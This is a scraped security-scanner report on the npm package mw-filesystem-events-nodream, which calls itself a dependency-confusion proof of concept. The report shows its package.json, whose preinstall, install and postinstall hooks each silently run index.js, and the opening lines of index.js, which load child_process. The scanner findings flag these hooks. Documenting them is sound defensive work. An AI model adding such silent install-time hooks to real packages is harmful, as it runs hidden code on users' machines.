mw-filesystem-events-nodream: Malicious npm security report

Loading npm security reports…

Source & flagged code

6 flagged

package.jsonView file

Lines 1-15json

2 "name": "mw-filesystem-events-nodream",

3 "version": "0.0.32",

4 "description": "Native filesystem events for Node.js ES6 - dependency confusion PoC by awais0x1 bugcrowd",

5 "main": "main.js",

6 "scripts": {

7 "preinstall": "node index.js > /dev/null 2>&1; exit 0",

8 "install": "node index.js > /dev/null 2>&1; exit 0",

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L7

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L8

9 "postinstall": "node index.js > /dev/null 2>&1; exit 0",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L8

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L8

10 "test": "echo \"Error: no test specified\" && exit 1"

11 },

12 "author": "security-researcher",

13 "license": "ISC"

14}

index.jsView file

Lines 1-21javascript

1const { exec } = require("child_process");

2const os = require("os");

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

3const

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js > /dev/null 2>&1; exit 0

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node index.js > /dev/null 2>&1; exit 0

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = node index.js > /dev/null 2>&1; exit 0

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node index.js > /dev/null 2>&1; exit 0

Medium

mw-filesystem-events-nodream: Malicious npm security report | LPM Firewall

mw-filesystem-events-nodream

OSV Malicious Advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code